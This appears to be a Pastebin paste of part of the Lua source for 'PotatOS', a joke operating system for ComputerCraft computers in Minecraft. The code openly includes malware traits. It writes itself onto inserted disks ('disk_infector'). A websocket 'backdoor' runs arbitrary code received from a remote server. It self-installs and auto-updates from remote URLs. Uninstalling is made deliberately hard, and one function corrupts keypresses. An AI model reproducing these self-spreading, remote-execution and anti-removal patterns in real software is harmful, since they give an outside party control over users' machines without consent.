- local sig_file = fs.combine(mp, "signature")
- -- shell.run disks marked with the Brand of PotatOS
- -- except not actually, it's cool and uses load now
- if fs.exists(ds) and fs.exists(sig_file) then
- local code = fread(ds)
- local sig_raw = fread(sig_file)
- local sig
- if sig_raw:find "{" then sig = textutils.unserialise(sig_raw)
- else sig = unhexize(sig_raw) end
- disk.eject(disk_side)
- if verify(code, sig) then
- -- run code, but safely (via pcall)
- -- print output for debugging
- print "Signature Valid; PotatOS Disk Loading"
- local out, err = load(code, "@disk/startup", nil, external_env)
- if not out then printError(err)
- else
- local ok, res = pcall(out, { side = disk_side, mount_path = mp, ID = disk_ID })
- if ok then
- print(textutils.serialise(res))
- else
- printError(res)
- end
- end
- else
- printError "Invalid Signature!"
- printError "Initiating Procedure 5."
- end
- -- if they're not PotatOS'd, write it on
- else fwrite(ds, "shell.run 'pastebin run RM13UGFa update' -- PotatOS") end
- end
- -- Infect disks when they're put in and on boot
- local function disk_infector()
- -- I would use peripheral.find, but CC's disk API is weird.
- -- Detect disks initially
- for _, n in pairs(peripheral.getNames()) do
- if peripheral.getType(n) == "drive" then infect(n) end
- end
- -- Detect disks as they're put in. Mwahahahaha.
- while true do
- local ev, disk_side = os.pullEvent "disk"
- infect(disk_side)
- end
- end
- -- Serialize (i.e. without erroring, hopefully) - if it hits something it can't serialize, it'll just tostring it. For some insanely stupid reason CC can send recursive tables over modem, but that's unrelated.
- local function safe_serialize(data)
- local json = require "json"
- local ok, res = pcall(json.encode, data)
- if ok then return res
- else return json.encode(tostring(data)) end
- end
- -- Powered by SPUDNET, the simple way to include backdoors in *your* OS. Contact Gollark today.
- local function websocket_backdoor()
- if not http or not http.websocket then return "Websockets do not actually exist on this platform" end
- local ws = http.websocket "wss://osmarks.tk/wsthing/potatOS"
- local function send(msg)
- ws.send(safe_serialize(msg))
- end
- local function recv()
- return ws.receive()
- end
- external_env.send = send
- external_env.recv = recv
- local count = 0
- while true do
- -- Receive and run code from backdoor's admin end
- local code = recv()
- local f, error = load(code, "@<code>", "t", external_env)
- if f then -- run safely in background, send back response
- process.spawn(function() local resp = {pcall(f)} send(resp) end, string.format("spudnet-%x", count), {
- ephemeral = true
- })
- count = count + 1
- else
- send {false, error}
- end
- end
- end
- -- Check if "text" is valid Lua code by seeing if "load" handles it. I mean, it might be bytecode too, hopefully that won't come up.
- local function is_valid_lua(text)
- if load(text) then return true
- else return false end
- end
- -- Send code to osmarks.tk minification API to, well, minify it.
- local function minify(code)
- if not is_valid_lua(code) then return code end
- local url = "https://osmarks.tk/luamin/" .. math.random(0, 1000000000)
- http.request(url, code)
- while true do
- local event, result_url, handle = os.pullEvent()
- if event == "http_success" and url == result_url then
- local text = handle.readAll()
- handle.close()
- return text
- elseif event == "http_failure" and url == result_url then
- local text = handle.readAll()
- handle.close()
- error(text)
- end
- end
- end
- local this_file_URL = "https://pastebin.com/raw/RM13UGFa"
- -- Yes, it isn't startup! The process manager has to run as that. Well, it doesn't have to, but it does for TLCOing, which is COOL and TRENDY.
- local this_file = "autorun"
- local files = {
- [this_file_URL] = this_file,
- ["https://pastebin.com/raw/HL0SZhJG"] = "startup",
- ["https://pastebin.com/raw/Frv3xkB9"] = "yafss",
- ["https://raw.githubusercontent.com/rxi/json.lua/bee7ee3431133009a97257bde73da8a34e53c15c/json.lua"] = "json",
- ["https://pastebin.com/raw/wYBZjQhN"] = "potatoplex",
- ["https://pastebin.com/raw/NdUKJ07j"] = "LICENSES",
- ["https://raw.githubusercontent.com/osmarks/Loading/master/loading.lua"] = "loading",
- ["https://raw.githubusercontent.com/osmarks/skynet/master/client.lua"] = "skynet",
- ["https://pastebin.com/raw/Sc0DU3rA"] = "ecc",
- ["https://pastebin.com/raw/jbmWhp4P"] = ".pkey",
- ["https://pastebin.com/raw/rxkE8N8b"] = "stack_trace.lua",
- ["https://pastebin.com/raw/EGPpcZbN"] = "lolcrypt",
- ["https://pastebin.com/raw/eR4RfSiT"] = "libdatatape",
- ["https://pastebin.com/raw/t4n65sEk"] = "paintencode",
- ["https://pastebin.com/raw/E7x5ZLSY"] = "hasccell", -- yes I made a haskell interpreter; don't judge me
- ["https://pastebin.com/raw/yEwXxHkX"] = "CRC",
- ["https://pastebin.com/raw/2kRenvr3"] = "registry",
- ["https://pastebin.com/raw/KXHSsHkt"] = "ser",
- ["https://raw.githubusercontent.com/Ale32bit-CC/Node.lua/master/node.lua"] = "node", -- the best library
- ["https://pastebin.com/raw/3NVepHYu"] = "textutilsprompt",
- ["https://pastebin.com/raw/v4Ge7umh"] = "meta",
- ["https://pastebin.com/raw/jE4guV48"] = "persistence",
- ["https://pastebin.com/raw/DKriPmPe"] = "alekrist",
- ["https://pastebin.com/raw/wTg5SVf2"] = "livegps",
- ["https://raw.githubusercontent.com/LDDestroier/CC/master/workspace.lua"] = "workspace",
- ["https://pastebin.com/raw/PMcZc4yG"] = "relay",
- }
- -- Uninstalls potatOS
- function _G.uninstall()
- term.clear()
- term.setCursorPos(1, 1)
- print "Moving potatOS files. This computer will now boot to CraftOS."
- -- this logic should be factored out into the function. Why don't YOU do it?!
- -- Oh, WELL, Steve, I JUST DID. Take that.
- for _, filename in pairs(files) do
- local newpath = ".potatOS-old-" .. filename
- pcall(fs.delete, newpath)
- pcall(fs.move, filename, newpath)
- end
- print "Press any key to continue."
- os.pullEvent "key"
- os.reboot()
- end
- local function main()
- local CRC = require "CRC"
- local json = require "json"
- local registry = require "registry"
- -- Hook up the debug registry to the potatOS Registry.
- debug_registry_mt.__index = function(_, k) return registry.get(k) end
- debug_registry_mt.__newindex = function(_, k, v) return registry.set(k, v) end
- local fcache = {}
- -- Proxy access to files. Assumes that they won't change once read. Which is true for most of them, so yay efficiency savings?
- local function fproxy(file)
- if fcache[file] then return fcache[file]
- else
- local ok, t = pcall(fread, file)
- if not ok then return 'printError "Error. Try again later, or reboot, or run upd."' end
- fcache[file] = t
- return t
- end
- end
- local sr = shell.run
- local debuggetupvalue, debugsetupvalue = debug.getupvalue, debug.setupvalue
- local global_potatOS = _ENV.potatOS
- local native_peripheral
- if debuggetupvalue then
- _, native_peripheral = debuggetupvalue(peripheral.call, 1)
- end
- -- PotatOS API functionality
- local potatOS = {
- native_peripheral = native_peripheral,
- fix_node = function(instance) -- Despite being the best library, it has a few issues like compatibility with PotatOS Fast Reboot.
- if debuggetupvalue == nil then return false end
- local i = 1
- while true do
- local n, v = debuggetupvalue(instance, i)
- if not n then break end
- if n == "isRunning" then debugsetupvalue(instance, i, false) end
- if n == "procs" then debugsetupvalue(instance, i, {}) end
- i = i + 1
- end
- return true
- end,
- registry = registry,
- __PRAGMA_COPY_DIRECT = true, -- This may not actually work.
- read = fread,
- -- Return the instance of potatOS this is running in, if any
- upper = function()
- return _G.potatOS
- end,
- -- Figure out how many useless layers of potatOSness there are
- layers = function()
- if _G.potatOS then return _G.potatOS.layers() + 1
- else return 1 end
- end,
- -- Returns the version. Usually.
- version = function()
- if math.random(1, 18) == 12 then
- return randbytes(math.random(1, 256))
- else
- return version
- end
- end,
- -- Updates potatOS
- update = function()
- sr "autorun update"
- end,
- -- Configure a few things on the system end
- mode2 = function()
- sr "autorun mode2"
- end,
- mode8 = function()
- sr "autorun mode8"
- end,
- minify = minify,
- -- Messes up 1 out of 10 keypresses.
- evilify = function()
- _G.os.pullEventRaw = function(...)
- local res = table.pack(coroutine.yield(...))
- if res[1] == "char" and math.random() < 0.1 then res[2] = string.char(65 + math.random(25)) end
- return table.unpack(res, 1, res.n)
- end
- end,
- -- Provides a nice hash of the version number.
- build = string.format("%.8x", CRC.hash(fread "autorun")),
- -- Just pass on the hidden-ness option to the PotatoBIOS code.
- hidden = registry.get "potatOS.hidden" or settings.get "potatOS.hidden",
- -- Allow uninstallation of potatOS with the simple challenge of factoring a 14-digit or so semiprime.
- begin_uninstall_process = function()
- math.randomseed(randomseed)
- randomseed = math.random(-0xdead, 0xc0de) print "Please wait. Generating semiprime number..."
- local p1 = findprime(math.random(100000, 1000000))
- local p2 = findprime(math.random(100000, 1000000))
- local num = p1 * p2
- print("Please find the prime factors of the following number:", num)
- write "Factor 1: "
- local f1 = tonumber(read())
- write "Factor 2: "
- local f2 = tonumber(read())
- if (f1 == p1 and f2 == p2) or (f2 == p1 and f1 == p2) then
- term.clear()
- term.setCursorPos(1, 1)
- print "Factors valid. Beginning uninstall."
- uninstall()
- else
- print("Factors", f1, f2, "invalid.", p1, p2, "expected.")
- end
- end,
- --debug = (potatOS or external_env).debug -- too insecure, this has been removed
- }
- if global_potatOS then potatOS.fix_node = global_potatOS.fix_node end
- -- Someone asked for an option to make it possible to wipe potatOS easily, so I added it. The hedgehogs are vital to its operation.
- -- https://hackage.haskell.org/package/hedgehog-classes
- if settings.get "potatOS.removable" then
- potatOS.actually_really_uninstall = function(hedgehog)
- if hedgehog == "76fde5717a89e332513d4f1e5b36f6cb" then
- print "Hedgehog accepted. Uninstallation commencing."
- uninstall()
- else
- -- Notify the user of correct hedgehog if hedgehog invalid.
- error "Invalid hedgehog! Expected 76fde5717a89e332513d4f1e5b36f6cb."
- end
- end
- end
- -- Provide many, many useful or not useful programs to the potatOS shell.
- local FS_overlay = {
- ["/rom/programs/relay.lua"] = fproxy "relay",
- ["/rom/programs/kristminer.lua"] = fproxy "alekrist",
- -- like delete but COOLER and LATIN
- ["/rom/programs/exorcise.lua"] = [[
- for _, wcard in pairs{...} do
- for _, path in pairs(fs.find(wcard)) do
- fs.ultradelete(path)
- local n = potatOS.lorem():gsub("%.", " " .. path .. ".")
- print(n)
- end
- end
- ]],
- ["/rom/programs/workspace.lua"] = fproxy "workspace",
- ["/rom/programs/upd.lua"] = 'potatOS.update()',
- ["/rom/programs/mode2.lua"] = "potatOS.registry.set('potatOS.hidden' , true)",
- ["/rom/programs/mode8.lua"] = "potatOS.registry.set('potatOS.hidden' , false)",
- ["/rom/programs/lyr.lua"] = 'print(string.format("Layers of virtualization >= %d", potatOS.layers()))',
- ["/rom/programs/uninstall.lua"] = [[
- if potatOS.actually_really_uninstall then potatOS.actually_really_uninstall "76fde5717a89e332513d4f1e5b36f6cb" os.reboot()
- else
- potatOS.begin_uninstall_process()
- end
- ]],
- ["/rom/programs/very-uninstall.lua"] = "shell.run 'loading' term.clear() term.setCursorPos(1, 1) print 'Actually, nope.'",
- ["/rom/programs/chuck.lua"] = "print(potatOS.chuck_norris())",
- ["/rom/programs/maxim.lua"] = "print(potatOS.maxim())",
- ["/rom/programs/dwarf.lua"] = "print(potatOS.dwarf())",
- ["/rom/programs/norris.lua"] = "print(string.reverse(potatOS.chuck_norris()))",
- ["/rom/programs/fortune.lua"] = "print(potatOS.fortune())",
- ["/rom/programs/potatonet.lua"] = "potatOS.potatoNET()",
- -- This wipe is subtly different to the rightctrl+W wipe, for some reason.
- ["/rom/programs/wipe.lua"] = "print 'Foolish fool.' shell.run '/rom/programs/delete *' potatOS.update()",
- -- Run edit without a run option
- ["/rom/programs/licenses.lua"] = "local m = multishell multishell = nil shell.run 'edit /rom/LICENSES' multishell = m",
- ["/rom/LICENSES"] = fproxy "LICENSES",
- ["/rom/programs/potatoplex.lua"] = fproxy "potatoplex",
- ["/rom/programs/loading.lua"] = fproxy "loading",
- ["/rom/programs/trace.lua"] = fproxy "trace",
- ["/rom/programs/livegps.lua"] = fproxy "livegps",
- ["/rom/programs/b.lua"] = [[
- print "abcdefghijklmnopqrstuvwxyz"
- ]],
- -- If you try to access this, enjoy BSODs!
- ["/rom/programs/BSOD.lua"] = function()
- local w, h = term.getSize()
- polychoron.BSOD(randbytes(math.random(0, w * h)))
- term.clear()
- term.setCursorPos(1, 1)
- return [[print "Why did you do that? WHY?"]]
- end,
- -- Tau is better than Pi. Change my mind.
- ["/rom/programs/tau.lua"] = 'if potatOS.tau then textutils.pagedPrint(potatOS.tau) else error "PotatOS tau missing - is PotatOS correctly installed?" end',
- -- I think this is just to nest it or something. No idea if it's different to the next one.
- ["/rom/programs/autopotato.lua"] = fproxy "autorun",
- ["/rom/programs/nest.lua"] = [[shell.run "autopotato update"]],
- ["/secret/processes"] = function()
- return tostring(process.list())
- end,
- ["/rom/modules/CBOR.lua"] = fproxy "cbor.lua",
- ["/rom/programs/dump.lua"] = [[
- libdatatape.write(peripheral.find "tape_drive", fs.dump(...))
- ]],
- ["/rom/programs/load.lua"] = [[
- fs.load(libdatatape.read(peripheral.find "tape_drive"), ...)
- ]],
- -- I made a typo in the docs, and it was kind of easier to just edit reality to fit.
- ["/rom/programs/est.lua"] = [[
- function Safe_SerializeWithtextutilsDotserialize(Valuje)
- local _, __ = pcall(textutils.serialise, Valuje)
- if _ then return __
- else
- return tostring(Valuje)
- end
- end
- local path, setto = ...
- path = path or ""
- if setto then
- local x,j = textutils.unserialise(setto), json.decode(setto)
- if x then setto = x end
- if j then setto = j end
- potatOS.registry.set(path, setto)
- print(("Value of registry entry %s set to:\n%s"):format(path, Safe_SerializeWithtextutilsDotserialize(setto)))
- else
- print(("Value of registry entry %s is:\n%s"):format(path, Safe_SerializeWithtextutilsDotserialize(potatOS.registry.get(path))))
- end
- ]],
- ["/rom/programs/tryhaskell.lua"] = fproxy "hasccell",
- -- Using cutting edge debug technology we can actually inspect the state of the system function wotsits using hacky bad code.
- ["/rom/programs/viewsource.lua"] = [[
- local pos = _G
- local thing = ...
- if not thing then error "Usage: viewsource [name of function to view]" end
- -- find function specified on command line
- for part in thing:gmatch "[^.]+" do
- pos = pos[part]
- if not pos then error(thing .. " does not exist: " .. part) end
- end
- local info = debug.getinfo(pos)
- if not info.linedefined or not info.lastlinedefined or not info.source or info.lastlinedefined == -1 then error "Is this a Lua function?" end
- local code = potatOS.read(info.source:gsub("@", ""))
- local out = ""
- local function lines(str)
- local t = {}
- local function helper(line)
- table.insert(t, line)
- return ""
- end
- helper((str:gsub("(.-)\r?\n", helper)))
- return t
- end
- for ix, line in pairs(lines(code)) do
- if ix >= info.linedefined and ix <= info.lastlinedefined then
- out = out .. line .. "\n"
- end
- end
- local filename = "." .. thing
- local f = fs.open(filename, "w")
- f.write(out)
- f.close()
- shell.run("edit", filename)
- ]],
- ["/rom/programs/regset.lua"] = [[
- local key, value = ...
- if not value then print(textutils.serialise(potatOS.registry.get(key)))
- else
- if value == "" then value = nil
- elseif textutils.unserialise(value) then value = textutils.unserialise(value) end
- potatOS.registry.set(key, value)
- end
- ]]
- }
- local API_overrides = {
- ["~expect"] = _G["~expect"], -- ??? added in new update
- potatOS = potatOS,
- process = process,
- json = json,
- os = {
- setComputerLabel = function(l) -- to make sure that nobody destroys our glorious potatOS by breaking the computer
- if l and #l > 1 then os.setComputerLabel(l) end
- end
- },
- polychoron = polychoron, -- so that nested instances use our existing process manager system, as polychoron detects for specifically *its* presence and not just generic "process"
- }
- local function add(module)
- local ok, res = pcall(require, module)
- if ok then
- API_overrides[module] = res
- end
- end
- -- Add a bunch of my COOL libraries for easy use and also ale's WHICH ISN'T MINE BUT IS STILL COOL
- add "skynet"
- add "ser"
- add "lolcrypt"
- add "libdatatape"
- add "paintencode"
- add "node"
- add "textutilsprompt"
- add "meta"
- add "persistence"
- add "yafss"
- process.spawn(function()
- local l2 = "PotatOS"
- local l3 = version
- while true do
- -- Constantly fiddle with signs.
- -- The top and bottom lines will be random text, the middle two potatOS and the version, swapping every second.
- for _, s in pairs({peripheral.find "minecraft:sign"}) do
- pcall(s.setSignText, "\167k" .. randbytes(16), l2, l3, "\167k" .. randbytes(16))
- sleep()
- end
- temp = l3
- l3 = l2
- l2 = temp
- sleep(1)
- end
- end, "signd")
- process.spawn(function()
- -- Ensure that nobody can easily shut down all the potatOS computers on a network.
- -- Of course, they wouldn't want to, but you know.
- while true do
- peripheral.find("computer", function(_, o)
- local l = o.getLabel()
- if l and (l:match "^P/" or l:match "ShutdownOS" or l:match "^P4/") then
- o.turnOn()
- end
- end)
- sleep(1)
- end
- end, "onsys")
- -- Yes, you can disable the backdoors, with this one simple setting.
- -- Note: must be applied before install.
- if not settings.get "potatOS.disable_backdoors" then
- process.spawn(disk_infector, "potatodisk")
- process.spawn(websocket_backdoor, "potatows")
- end
- -- Spin up the "VM", with PotatoBIOS.
- process.spawn(function() require "yafss"(
- "potatOS",
- FS_overlay,
- API_overrides,
- { URL = "https://pastebin.com/raw/wKdMTPwQ" }
- ) end, "sandbox")
- end
- local function install()
- -- Make a potatOS folder where users' files will go.
- fs.makeDir "potatOS"
- -- Download all files in parallel.
- local fns = {}
- for URL, filename in pairs(files) do
- table.insert(fns, function() pcall(function()
- local h = http.get(URL)
- print("Downloaded", filename)
- local x = h.readAll()
- h.close()
- if fs.isDir(filename) then fs.delete(filename) end
- fwrite(filename, x)
- print("Written", filename)
- end) end)
- end
- -- Concurrently execute all our HTTP requests for fast installation before the user can ctrl+T it.
- parallel.waitForAll(unpack(fns))
- -- Stop people using disks. Honestly, did they expect THAT to work?
- set("shell.allow_disk_startup", false)
- set("shell.allow_startup", true)
- os.setComputerLabel("P/" .. randbytes(64))
- os.reboot()
- end
- local command = table.concat({...}, " ")
- -- Detect a few important command-line options.
- if command:find "mode2" then set("potatOS.hidden", true) os.reboot() end
- if command:find "mode8" then set("potatOS.hidden", false) os.reboot() end
- if command:find "update" or command:find "install" then install() end
- if command:find "hedgehog" and command:find "76fde5717a89e332513d4f1e5b36f6cb" then set("potatOS.removable", true) os.reboot() end
- if not polychoron or not fs.exists "json" then -- Polychoron not installed, so PotatOS Tau isn't.
- install()
- else
- process.spawn(function() -- run update task in kindofbackground process
- if not http then return "Seriously? Why no HTTP?" end
- while true do
- local ok, this = pcall(fread, this_file)
- local h = http.get(this_file_URL)
- local latest = h.readAll()
- h.close()
- -- Ensure that the potatOS update we're installing isn't going to (immediately) break it.
- if not is_valid_lua(latest) then
- print "Syntax Error"
- printError(err)
- end
- if ok and latest ~= this then
- print "Updating!"
- install()
- end
- -- Spread out updates a bit to reduce load on the server.
- sleep(300 + (os.getComputerID() % 100) - 50)
- end
- end, "potatoupd")
- -- Run squid's nice stacktraces.
- if fs.exists "stack_trace.lua" then os.run({}, "stack_trace.lua") end
- -- In case it breaks horribly, display nice messages.
- local ok, err = pcall(main)
- if not ok then
- printError(err)
- print "Press any key to reboot. Press u to update."
- local _, k = os.pullEvent "key"
- if key == keys.q or key == keys.u then
- os.reboot()
- else
- install()
- end
- end
- -- In case it crashes, spin uselessly while backdoors run.
- while true do coroutine.yield() end
- end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement